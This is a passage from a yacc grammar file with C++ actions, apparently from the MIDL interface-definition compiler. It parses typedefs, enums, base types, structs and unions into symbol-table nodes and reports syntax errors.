LexContext = LEX_GUID; /* turned off by the lexer */
}
Guid ')' ';'
{
$$.Init( new node_decl_guid( $3, (node_guid*) $6 ) );
}
| KWTYPEDEF OptionalAttrList TypeDeclarationSpecifiers TypedefDeclaratorList
{
/**
** create new typedef nodes for each of the declarators, apply any
** type attributes to the declarator. The declarators will have a
** basic type as specied by the Declaration specifiers.
** Check for the presence of a init expression. The typedef derives
** the declarators from the same place as the other declarators, so
** an init list must be explicitly checked for and reported as a
** syntax error. But dont report errors for each declarator, instead
** report it only once at the end.
**/
class _DECLARATOR* pDec = 0;
char* pName = 0;
node_skl* pType = 0;
node_def_fe* pDef = 0;
DECLARATOR_LIST_MGR pDeclList( $4 );
/**
** prepare for a list of typedefs to be made into interface
** components
**/
$$.Init();
while( pDec = pDeclList.DestructiveGetNext() )
{
pDef = (node_def_fe *) pDec->pHighest;
pType = $3.pNode;
if (NULL == pDef)
{
/**
** The declaration is a forward declaration following the
** goofy mktyplib syntax: typedef struct foo; (or union).
** We need to verify that the mktyplib203 switch is set
** (only allow this syntax in mktyplib compatibility mode)
** and we need to create a forward declaration so that
** future references will resolve correctly.
**/
pName = pType->GetSymName();
SymKey SKey( pName, NAME_DEF );
node_forward * pFwd = new node_forward( SKey, pCurSymTbl );
pFwd->SetSymName( pName );
pDef = new node_def_fe(pName, pFwd);
pDec->Init(pDef);
if (!pCommand->IsSwitchDefined(SWITCH_MKTYPLIB))
ParseError( ILLEGAL_USE_OF_MKTYPLIB_SYNTAX, pName);
}
else
{
pName = pDef->GetSymName();
}
/**
** set the basic type of the declarator.
**/
pDec->pLowest->SetChild( pType );
// complain about invalid redef of wchar_t or error_status_t
if (pName)
{
if ( strcmp( pName, "wchar_t" ) == 0 )
{
node_skl * pN = pType;
if( !((pN->NodeKind() == NODE_SHORT) &&
pN->FInSummary( ATTR_UNSIGNED) ) )
{
ParseError( WCHAR_T_ILLEGAL, (char *)0 );
}
}
else if( strcmp( pName, "error_status_t" ) == 0 )
{
node_skl * pN = pType;
if( !( pN->FInSummary( ATTR_UNSIGNED) &&
((pN->NodeKind() == NODE_LONG) ||
(pN->NodeKind() == NODE_INT32) ||
(pN->NodeKind() == NODE_INT) )
) )
{
ParseError( ERROR_STATUS_T_ILLEGAL, (char *)0 );
}
}
}
else
ParseError( BENIGN_SYNTAX_ERROR, "" );
//
// if the type specifier is a forward declared type, then
// the only syntax allowed is when context_handle is applied
// to the type. If not, report an error
//
//gaj CheckSpecialForwardTypedef( pDef, pType, $2);
/**
** The typedef node graph is all set up,
** apply attributes and enter into symbol table
**/
$$.Add( pDef );
/**
** Remember that we have to apply the attributes to each of
** the declarators, so we must clone the attribute list for
** each declarator, the apply the type attribute list to each
** of the declarators
**/
if ( $2.NonNull() )
{
pDef->AddAttributes( $2 );
}
/**
** similarly, apply the remnant attributes collected from
** declaration specifiers, to the declarator
**
** Only the first declarator to use a composite type gets to
** be the declaration; all the others reference that declaration;
** e.g. struct FOO { xxx } foo, *pfoo
** is treated as: struct FOO { xxx } foo
** struct FOO *pfoo
**/
pDec->pLowest->GetModifiers().Merge($3.modifiers);
$3.modifiers.SetModifier( ATTR_TAGREF );
// prevent typedef ARRAYFOO ARRAYFOO[10];
// where ARRAYFOO is not defined.
// typedef struct SFoo; is valid in /mktyplib203 mode
// the following complicated if-conditional statements
// take all those wierd cases into account.
if ( pType->NodeKind() == NODE_FORWARD && pType->GetChild() == 0 )
{
node_skl* pDefChild = pDef->GetChild();
if ( pDefChild )
{
bool fError = pDefChild->NodeKind() == NODE_ARRAY || pDefChild->NodeKind() == NODE_POINTER;
if ( pType->GetSymName() &&
pDef->GetSymName() &&
!strcmp( pType->GetSymName(),
pDef->GetSymName() ) && fError )
{
ParseError( INVALID_TYPE_REDEFINITION, pType->GetSymName() );
}
}
}
}
}
| DeclarationSpecifiers OptionalInitDeclaratorList ';'
{
/**
** All declarations other than typedefs are collected here.
** They are collected and passed up to the interface component
** production
**/
node_skl * pType = $1.pNode;
DECLARATOR_LIST_MGR DeclList( $2 );
#ifdef gajdebug3
printf("DeclarationSpecifiers OptionalInitDeclaratorList\n");
#endif
$$.Init();
/**
** It is possible that there are no declarators, only a type decla-
** ration. eg, the definition of a structure.
**/
if ( DeclList.NonEmpty() )
{
class _DECLARATOR * pDec;
/**
** for each declarator, set the basic type, set the attributes
** if any
**/
while( pDec = DeclList.DestructiveGetNext() )
{
pDec->pLowest->SetChild( pType );
/**
** Apply the remnant attributes from the declaration specifier
** prodn to this declarator;
**/
// move some modifiers to the top
MODIFIER_SET TempModifiers = $1.modifiers;
INITIALIZED_MODIFIER_SET TopModifiers;
ATTR_T TopAttrs[] = {ATTR_EXTERN, ATTR_STATIC, ATTR_AUTOMATIC, ATTR_REGISTER};
for(unsigned int i = 0; i < (sizeof(TopAttrs) / sizeof(ATTR_T)); i++)
{
ATTR_T ThisAttr = TopAttrs[i];
if (TempModifiers.IsModifierSet(ThisAttr)) {
TopModifiers.SetModifier(ThisAttr);
TempModifiers.ClearModifier(ThisAttr);
}
}
pDec->pLowest->GetModifiers().Merge( TempModifiers );
pDec->pHighest->GetModifiers().Merge( TopModifiers );
$1.modifiers.SetModifier( ATTR_TAGREF );
/**
** shove the type node up.
**/
$$.Add( (named_node *) pDec->pHighest );
}
}
else
{
#ifdef gajdebug3
printf("\t\t...no declarators\n");
#endif
/**
** This is the case when no specific declarator existed. Just
** pass on the declaration to interface component. However, it
** is possible that the declaration is a forward declaration,
** in that case, just generate a dummy typedef. The dummy typedef
** exists, so that the whole thing is transparent to the back end.
**/
named_node * pDef = (named_node *) $1.pNode;
/**
** Apply the remnant attributes from the declaration specifier
** prodn to this declarator;
**/
pDef->GetModifiers().Merge( $1.modifiers );
/**
** shove the type node up.
**/
$$.Add( pDef );
}
}
;
TypeDeclarationSpecifiers:
DeclarationSpecifiers
| IDENTIFIER
{
node_forward * pFwd;
SymKey SKey( $1, NAME_DEF );
pFwd = new node_forward( SKey, pCurSymTbl );
pFwd->SetSymName( $1 );
$$.pNode = pFwd;
$$.modifiers.Clear();
}
;
SimpleTypeSpec:
BaseTypeSpec
{
node_base_type * pNode;
GetBaseTypeNode( (node_skl**) &pNode,
$1.TypeSign,
$1.TypeSize,
$1.BaseType,
$1.TypeAttrib);
$$ = pNode;
if ( pNode->NodeKind() == NODE_INT )
ParseError( BAD_CON_INT, NULL );
}
| PredefinedTypeSpec
| TypeName /* TYPENAME */
;
DeclarationSpecifiers:
DeclarationAccessories TypeSpecifier
{
// Hack to make __declspec(align(N)) work. VC has defined that a __declspec(align(N))
// in front of a structure or union should go with the union. Put the attribute on
// the struct if this is a new type.
if ($2.pNode &&
!$2.pNode->GetModifiers().IsModifierSet( ATTR_TAGREF ) &&
$1.IsModifierSet( ATTR_DECLSPEC_ALIGN ) &&
$2.pNode->IsStructOrUnion() )
{
MODIFIER_SET TempModifiers;
TempModifiers.Clear();
TempModifiers.SetDeclspecAlign( $1.GetDeclspecAlign() );
$1.ClearModifier( ATTR_DECLSPEC_ALIGN );
$2.pNode->GetModifiers().Merge( TempModifiers );
}
$$.pNode = $2.pNode;
$$.modifiers = $1;
$$.modifiers.Merge($2.modifiers);
}
| TypeSpecifier
;
DeclarationAccessories:
DeclarationAccessories StorageClassSpecifier
{
$$ = $1;
$$.Merge($2);
}
| DeclarationAccessories TypeQualifier
{
$$ = $1;
$$.Merge($2);
}
| StorageClassSpecifier
| TypeQualifier
;
StorageClassSpecifier:
KWEXTERN
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_EXTERN);
}
| KWSTATIC
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_STATIC);
}
| KWAUTO
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_AUTO);
}
| KWREGISTER
{
$$ = INITIALIZED_MODIFIER_SET(ATTR_REGISTER);
}
| MscDeclSpec
;
TypeSpecifier:
BaseTypeSpec
{
node_base_type * pNode;
GetBaseTypeNode( (node_skl**) &pNode,
$1.TypeSign,
$1.TypeSize,
$1.BaseType,
$1.TypeAttrib);
$$.pNode = pNode;
if ( pNode->NodeKind() == NODE_INT )
ParseError( BAD_CON_INT, NULL );
$$.modifiers = INITIALIZED_MODIFIER_SET(ATTR_TAGREF);
}
| PredefinedTypeSpec
{
$$.pNode = $1;
$$.modifiers = INITIALIZED_MODIFIER_SET(ATTR_TAGREF);
}
| TaggedSpec
| EnumerationType
| BitSetType
{
$$.pNode = $1;
$$.modifiers = INITIALIZED_MODIFIER_SET(ATTR_TAGREF);
}
| TypeName /* TYPENAME */
{
/**
** Note that there is no need to check for whether the symbol table
** has the entry or not. If it did not, the TYPENAME token would not
** have come in. If the TYPENAME is for a forward reference, see
** if it has been satisfied; if so, create a NEW typedef that is the
** same, but without the forward reference.
**/
node_def_fe * pDef = (node_def_fe *) $1;
if ( ( pDef->NodeKind() == NODE_DEF ) &&
pDef->GetChild() &&
( pDef->GetChild()->NodeKind() == NODE_FORWARD ) )
{
node_forward * pFwd = (node_forward *) pDef->GetChild();
node_skl * pNewSkl = pFwd->ResolveFDecl();
if ( pNewSkl )
{
ATTRLIST alist;
MODIFIER_SET ModifierSet;
pDef->GetAttributeList(alist);
ModifierSet = pDef->GetModifiers();
pDef = new node_def_fe( pDef->GetSymName(), pNewSkl );
pDef->SetAttributes(alist);
pDef->GetModifiers().Clear();
pDef->GetModifiers().Merge( ModifierSet );
SymKey SKey(pDef->GetSymName(), NAME_DEF);
pBaseSymTbl->SymDelete(SKey);
pBaseSymTbl->SymInsert(SKey, (SymTable *) NULL, (named_node*) pDef);
}
};
$$.pNode = pDef;
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
}
| KWSAFEARRAY DeclarationSpecifiers OptionalDeclarator ')'
{
node_skl * pNode = pErrorTypeNode;
if( $2.pNode )
{
if( $3.pHighest )
{
$3.pLowest->SetChild( $2.pNode );
pNode = $3.pHighest;
( (named_node *) $3.pLowest)->GetModifiers().Merge( $2.modifiers );
}
else
pNode = $2.pNode;
}
$$.pNode = new node_safearray( pNode );
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
}
| KWPIPE TypeSpecifier
{
node_skl * pNode = pErrorTypeNode;
if ($2.pNode )
{
pNode = $2.pNode;
}
$$.pNode = new node_pipe( pNode );
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
}
;
BitSetType:
IntSize KWBITSET '{' IdentifierList '}'
{
ParseError( UNIMPLEMENTED_FEATURE, "bitset" );
$$ = pErrorTypeNode;
}
;
IdentifierList:
IDENTIFIER
| IdentifierList ',' IDENTIFIER
;
EnumerationType:
/**
IntSize EnumSpecifier
**/
EnumSpecifier
;
EnumSpecifier:
KWENUM MscOptDeclSpecList OptionalTag '{' EnumeratorList OptionalComma '}'
{
/**
** We just obtained a complete enum definition. Check for
** duplicate definition and break circular label list;
**/
BOOL fFound = FALSE;
BOOL fEnumIsForwardDecl = FALSE;
node_skl * pNode;
SymKey SKey( $3, NAME_ENUM );
pNode = pBaseSymTbl->SymSearch( SKey );
if( fFound = (pNode != (node_skl *) NULL) )
fEnumIsForwardDecl = ( pNode->NodeKind() == NODE_FORWARD || pNode->NodeKind() == NODE_HREF );
if( fFound && !fEnumIsForwardDecl )
{
ParseError( DUPLICATE_DEFINITION, $3 );
$$.pNode = (node_skl *)pErrorTypeNode;
}
else
{
/**
** This is a new definition of enum. Enter into symbol table
** Also, pick up the label graph and attach it.
**/
node_enum * pEnum = new node_enum( $3 );
$$.pNode = pEnum;
pEnum->SetMembers( $5.NodeList );
/**
** Note that the enum symbol table entry need not have a next
** scope since the enum labels are global in scope.If the enum was
** a forward decl into the symbol table, delete it.
**/
if( fEnumIsForwardDecl )
{
pBaseSymTbl->SymDelete( SKey );
}
pBaseSymTbl->SymInsert( SKey,
(SymTable *)NULL,
(named_node *) $$.pNode );
CheckGlobalNamesClash( SKey );
}
// if the enumerator is sparse, report an error if the
// switch configuration is not correct.
if( $5.fSparse )
ParseError( SPARSE_ENUM, (char *)NULL );
$$.modifiers = INITIALIZED_MODIFIER_SET();
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
| KWENUM MscOptDeclSpecList Tag
{
/**
** Search for the enum definition, if not found, return the type
** as a forward declarator node. The semantic analysis will register
** the forward declaration and resolve it when the second pass occurs.
** See TaggedStruct production for a description on why we want to
** enter even a fdecl enum in the symbol table.
**/
SymKey SKey( $3, NAME_ENUM );
$$.pNode = new node_forward( SKey, pBaseSymTbl );
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
;
EnumeratorList:
Enumerator
{
/**
** this is the first label on an enum list. Set up the circular list
** pointing to the tail, and set it's expr to 0L if there was none
**/
expr_node * pExpr;
node_label * pLabel = (node_label *) $1.pLabel;
pExpr = ($1.pExpr)
? $1.pExpr
: GetConstant0();
pLabel->pExpr = pExpr;
/*
// NishadM
// check the expression type
if ( pExpr->AlwaysGetType() )
{
if ( ! ( pExpr->GetType()->IsCompatibleType( ts_FixedPoint ) ) )
{
ParseError( EXPR_INCOMPATIBLE_TYPES, pLabel->GetSymName() );
}
}
else
{
ParseError( EXPR_INCOMPATIBLE_TYPES, pLabel->GetSymName() );
}
*/
$$.fSparse = $1.fSparse;
$$.pPrevLabel = pLabel;
$$.NodeList.Init( pLabel );
}
| EnumeratorList ',' Enumerator
{
/**
** This is a new label we reduced.
**
** if there was an expression associated with the label, use that
** else use the already collected expression, and add 1 to it.
**/
expr_node * pExpr = (expr_node *)0;
node_label * pLabel = (node_label *) $3.pLabel;
pExpr = $3.pExpr;
// next node has no expression, give it an expression of:
// <prev label> + 1;
if (pExpr == NULL )
{
expr_named_constant * pPrev =
new expr_named_constant( $1.pPrevLabel->GetSymName(),
$1.pPrevLabel );
pExpr = new expr_b_arithmetic(OP_PLUS,
pPrev,
GetConstant1() );
}
pLabel->pExpr = pExpr;
$$ = $1;
$$.NodeList.Add( pLabel );
$$.pPrevLabel = pLabel;
$$.fSparse += $3.fSparse;
}
;
Enumerator:
OptionalAttrList IDENTIFIER
{
/**
** We have obtained an enum label, without an expression. Since
** we dont know if this is the first label (most probably not),
** we just indicate the absence of an expression by an NULL pointer.
** The next parse state would know if this was the first or not
** and take appropriate action
**
** The enum labels go into the global name space. Search for
** duplicates on the base symbol table.
**/
node_label * pLabel;
SymKey SKey( $2, NAME_LABEL );
if( pBaseSymTbl->SymSearch( SKey ) )
{
ParseError( DUPLICATE_DEFINITION, $2 );
pLabel = new node_label( GenTempName(), NULL );
}
else
{
/**
** If the label has an expression, use it, else it is 0. Also
** propogate the expression to $$, so that the next labels will
** get it. Note that we DO NOT evaluate the expressions here.
** The MIDL compiler will evaluate the expressions later.
**/
pLabel = new node_label( $2, NULL );
/**
** Insert into the global table
**/
pBaseSymTbl->SymInsert(SKey, (SymTable *)NULL,(named_node *)pLabel);
CheckGlobalNamesClash( SKey );
}
if ( $1.NonNull() )
{
pLabel->AddAttributes( $1 );
}
$$.pLabel = pLabel;
$$.pExpr = NULL;
$$.fSparse = 0;
}
| OptionalAttrList IDENTIFIER '=' ConstantExpr
{
/**
** This enum label has an expression associated with it. Use it.
** sparse enums are illegal in osf mode
**/
node_label * pLabel;
SymKey SKey( $2, NAME_LABEL );
if ($4->IsStringConstant())
ParseError(ENUM_TYPE_MISMATCH, $2);
if( pBaseSymTbl->SymSearch( SKey ) )
{
ParseError( DUPLICATE_DEFINITION, $2 );
pLabel = new node_label( GenTempName(), NULL );
}
else
{
/**
** If the label has an expression, use it, else it is 0. Also
** propogate the expression to $$, so that the next labels will
** get it. Note that we DO NOT evaluate the expressions. The MIDL
** compiler will just dump the expressions for the c compiler to
** evaluate.
**/
pLabel = new node_label( $2, $4 );
/**
** Insert into the global table
**/
pBaseSymTbl->SymInsert(SKey, (SymTable *)NULL,(named_node *)pLabel);
CheckGlobalNamesClash( SKey );
}
if ( $1.NonNull() )
{
pLabel->AddAttributes( $1 );
}
$$.pLabel = pLabel;
$$.pExpr = $4;
$$.fSparse = 1;
}
;
PredefinedTypeSpec:
InternationalCharacterType
{
ParseError( UNIMPLEMENTED_TYPE, KeywordToString( $1 ) );
$$ = (node_skl *)pErrorTypeNode;
}
;
BaseTypeSpec:
KWFLOAT
{
$$.BaseType = TYPE_FLOAT;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWLONG KWDOUBLE
{
$$.BaseType = TYPE_DOUBLE;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWDOUBLE
{
$$.BaseType = TYPE_DOUBLE;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWFLOAT80
{
#ifndef SUPPORT_NEW_BASIC_TYPES
ParseError( TYPE_NOT_SUPPORTED, "__float80");
#endif
$$.BaseType = TYPE_FLOAT80;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWFLOAT128
{
#ifndef SUPPORT_NEW_BASIC_TYPES
ParseError( TYPE_NOT_SUPPORTED, "__float128");
#endif
$$.BaseType = TYPE_FLOAT128;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWVOID
{
$$.BaseType = TYPE_VOID;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWBOOLEAN
{
$$.BaseType = TYPE_BOOLEAN;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWBYTE
{
$$.BaseType = TYPE_BYTE;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWHANDLET
{
$$.BaseType = TYPE_HANDLE_T;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| IntSpecs
{
$$ = $1;
if( $$.BaseType == TYPE_UNDEF )
$$.BaseType = TYPE_INT;
if( $$.TypeSign == SIGN_UNDEF )
{
if( ($$.TypeSize != SIZE_SMALL) && ($$.TypeSize != SIZE_CHAR) )
$$.TypeSign = SIGN_SIGNED;
}
}
| CharSpecs
{
$$.BaseType = TYPE_INT;
$$.TypeSign = $1.TypeSign;
$$.TypeSize = SIZE_CHAR;
$$.TypeAttrib = ATT_NONE;
}
;
CharSpecs:
SignSpecs KWCHAR
{
$$.TypeSign = $1.TypeSign;
}
| KWCHAR
{
$$.TypeSign = SIGN_UNDEF;
}
;
IntSpecs:
MSCW64 IntSpec
{
$2.TypeAttrib = ATT_W64;
$$ = $2;
}
| IntSpec
;
IntSpec:
IntModifiers KWINT
{
BaseTypeSpecAnalysis( &($1), TYPE_INT );
}
| IntModifiers
| KWINT IntModifiers
{
$$ = $2;
$$.BaseType = TYPE_UNDEF;
}
| KWINT
{
$$.BaseType = TYPE_UNDEF;
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
;
IntModifiers:
IntSize
{
$$.TypeSign = SIGN_UNDEF;
$$.TypeSize = $1;
$$.BaseType = TYPE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| SignSpecs
| IntSize SignSpecs
{
$$.TypeSign = $2.TypeSign;
$$.TypeSize = $1;
$$.BaseType = TYPE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| SignSpecs IntSize
{
$$.TypeSign = $1.TypeSign;
$$.TypeSize = $2;
$$.BaseType = TYPE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
;
SignSpecs:
KWSIGNED
{
ParseError(SIGNED_ILLEGAL, (char *)0);
$$.BaseType = TYPE_UNDEF;
$$.TypeSign = SIGN_SIGNED;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
| KWUNSIGNED
{
$$.BaseType = TYPE_UNDEF;
$$.TypeSign = SIGN_UNSIGNED;
$$.TypeSize = SIZE_UNDEF;
$$.TypeAttrib = ATT_NONE;
}
;
IntSize:
KWHYPER
{
$$ = SIZE_HYPER;
}
| KWLONG KWLONG
{
$$ = SIZE_LONGLONG;
}
| KWINT64
{
$$ = SIZE_INT64;
}
| KWINT128
{
#ifndef SUPPORT_NEW_BASIC_TYPES
ParseError( TYPE_NOT_SUPPORTED, "__int128");
#endif
$$ = SIZE_INT128;
}
| KWINT3264
{
$$ = SIZE_INT3264;
if( !pCommand->IsSwitchDefined( SWITCH_MS_EXT ) )
{
ParseError( INVALID_MODE_FOR_INT3264, 0 );
}
}
| KWINT32
{
$$ = SIZE_INT32;
}
| KWLONG
{
$$ = SIZE_LONG;
}
| KWSHORT
{
$$ = SIZE_SHORT;
}
| KWSMALL
{
$$ = SIZE_SMALL;
}
;
PhantomPushSymtab:
{
/**
** We just obtained a starter for a new scope. Push the
** symbol table to the next level for the rest of the including
** production
**/
pSymTblMgr->PushSymLevel( &pCurSymTbl );
}
;
/* START TAGGED SPEC */
TaggedSpec:
TaggedStructSpec
| TaggedUnionSpec
;
/* START TAGGED STRUCT */
TaggedStructSpec:
KWSTRUCT MscOptDeclSpecList OptionalTag '{' PhantomPushSymtab StructDeclarationList '}'
{
/**
** The entire struct was sucessfully reduced. Attach the fields as
** members of the struct. Insert a new symbol table entry for the
** struct and attach the lower scope of the symbol table to it.
** Check for dupliate structure definition
**/
BOOL fFound = FALSE;
BOOL fStructIsForwardDecl = FALSE;
node_struct * pStruct;
SymTable * pSymLowerScope = pCurSymTbl;
SymKey SKey( $3, NAME_TAG );
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
/**
** if this is a duplicate definition, dont do anything. Note that
** the struct tag name shares the global name space with enum and
** union tag names.
**/
pStruct = (node_struct *) pBaseSymTbl->SymSearch( SKey );
if( fFound = ( pStruct != (node_struct *)NULL ) )
fStructIsForwardDecl = (pStruct->NodeKind() == NODE_FORWARD || pStruct->NodeKind() == NODE_HREF);
if( fFound && !fStructIsForwardDecl )
{
ParseError( DUPLICATE_DEFINITION, $3 );
pStruct = (node_struct *)pErrorTypeNode;
}
else
{
/**
** this is a valid entry. Build the graph for it and
** enter into symbol table. If the struct entry was present as
** a forward decl, delete it
**/
if( fStructIsForwardDecl )
{
pBaseSymTbl->SymDelete( SKey );
}
pStruct = new node_struct( $3 );
pStruct->SetMembers( $6 );
pStruct->SetZeePee( CurrentZp );
pBaseSymTbl->SymInsert( SKey, pSymLowerScope, pStruct );
CheckGlobalNamesClash( SKey );
}
$$.pNode = pStruct;
$$.modifiers = INITIALIZED_MODIFIER_SET();
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
| KWSTRUCT MscOptDeclSpecList Tag
{
/**
** This is the invocation of a struct. If the struct was not
** defined as yet, then return a forward declarator node. The
** semantics will register the forward declaration and resolve it.
** But there is a loop hole in this. If we do not enter the struct into
** the symbol table, the user may define a union/enum of the same name.
** We will let him, since we do not yet have an entry in the symbol
** table. We will then never check for duplication, since the parser
** is the only place we check for this. We will then generate wrong
** code, with the struct and a union/enum with the same name !! The
** solution is to enter a symbol entry with a fdecl node as the type
** graph of the struct.
**/
SymKey SKey( $3, NAME_TAG );
named_node * pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $3 );
$$.pNode = pNode;
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
;
OptionalTag:
Tag
| /* Empty */
{
$$ = GenCompName();
}
;
Tag:
IDENTIFIER
{
$$ = $1;
}
| TypeName
{
//$$ = $1;
$$ = $1->GetCurrentSpelling();
}
;
StructDeclarationList:
StructDeclarationList MemberDeclaration
{
$$.Merge( $2 );
}
| MemberDeclaration
;
MemberDeclaration:
OptionalAttrList DeclarationSpecifiers MemberDeclaratorList ';'
{
/**
** This is a complete field declaration. For each declarator,
** set up a field with the basic type as the declaration specifier,
** apply the field attributes, and add to the list of fields for the
** struct / union
** field
**/
class _DECLARATOR * pDec;
node_skl * pType;
DECLARATOR_LIST_MGR DeclList( $3 );
$$.Init();
while( pDec = DeclList.DestructiveGetNext() )
{
node_field * pField = (node_field *) pDec->pHighest;
/**
** if the field was a bit field, we need to set up some additional
** info.
**/
pType = $2.pNode;
pDec->pLowest->SetChild( pType );
/**
** Apply the field attributes and set the field as part of the
** list of fields of the struct/union
**/
if ( $1.NonNull() )
{
pField->AddAttributes( $1 );
}
/**
** similarly, apply the remnant attributes collected from
** declaration specifiers, to the declarator
**/
pDec->pLowest->GetModifiers().Merge( $2.modifiers );
/**
** shove the type graph up
**/
$$.Add( pField );
}
}
;
/* START UNION */
TaggedUnionSpec:
KWUNION MscOptDeclSpecList OptionalTag '{' PhantomPushSymtab UnionBody '}'
{
/**
** The union bosy has been completely reduced. Attach the fields as
** members, insert a new symbol table entry for the union
**/
BOOL fFound = FALSE;
BOOL fUnionIsForwardDecl = FALSE;
node_union * pUnion;
SymTable * pSymLowerScope = pCurSymTbl;
SymKey SKey( $3, NAME_UNION );
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
/**
** if this is a duplicate definition, dont do anything, else
** enter into the symbol table, attach members. Note that the
** symbol table search is actually a search for the tag becuase
** the union tag shares the same name as the struct/enum names
**/
pUnion = (node_union *)pBaseSymTbl->SymSearch( SKey );
if( fFound = (pUnion != (node_union *) NULL ) )
fUnionIsForwardDecl = ( pUnion->NodeKind() == NODE_FORWARD || pUnion->NodeKind() == NODE_HREF );
if( fFound && !fUnionIsForwardDecl )
{
ParseError( DUPLICATE_DEFINITION, $3 );
pUnion = (node_union *)pErrorTypeNode;
}
else
{
/**
** This is a valid entry, build the type graph and insert into
** the symbol table. Delete the entry first if it was a forward
** decl.
**/
pUnion = new node_union( $3 );
pUnion->SetMembers( $6 );
if( fUnionIsForwardDecl )
{
pBaseSymTbl->SymDelete( SKey );
}
pBaseSymTbl->SymInsert( SKey, pSymLowerScope, pUnion );
CheckGlobalNamesClash( SKey );
}
/**
** pass this union up
**/
pUnion->SetZeePee( CurrentZp );
$$.pNode = pUnion;
$$.modifiers = INITIALIZED_MODIFIER_SET();
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
| KWUNION MscOptDeclSpecList Tag
{
/**
** this is an invocation of the union. If the union was not defined
** then return a forward declarator node as the type node. The
** semantics will register the forward declaration and resolve it
** later. See TaggedStruct production for an explanation why we want to
** enter even a forward declaration into the symbol table.
**/
SymKey SKey( $3, NAME_UNION );
named_node * pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $3 );
$$.pNode = pNode;
$$.modifiers = INITIALIZED_MODIFIER_SET( ATTR_TAGREF );
/* Fix this goo once VC decides what they are doing.
The problem is that VC allows modifiers between the
struct and the tagname, but they are inconsistent in how
it works. The user can always just put the modifier on
the first field anyway.
*/
if ($2.AnyModifiersSet())
{
ParseError( ILLEGAL_MODIFIERS_BETWEEN_SEUKEYWORD_AND_BRACE, NULL );
}
}
| KWUNION MscOptDeclSpecList OptionalTag NidlUnionSwitch '{' PhantomPushSymtab NidlUnionBody '}'
{
/**
** The union body has been completely reduced. Attach the fields as
** members, insert a new symbol table entry for the union
**/
BOOL fFound = FALSE;
BOOL fStructIsForwardDecl = FALSE;
node_en_union * pUnion;
SymTable * pSymLowerScope = pCurSymTbl;
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
pUnion = new node_en_union( GenCompName() );
pUnion->SetMembers( $7 );
SymKey SKey( pUnion->GetSymName(), NAME_UNION );
pBaseSymTbl->SymInsert( SKey, pSymLowerScope, pUnion );
CheckGlobalNamesClash( SKey );
//
// The union is inserted into the base symbol table.
// Now insert into the base symbol table, a new struct entry
// corresponding to the struct entry that the encapsulated union
// results in.
//
pSymTblMgr->PushSymLevel( &pCurSymTbl );
SIBLING_LIST Fields;
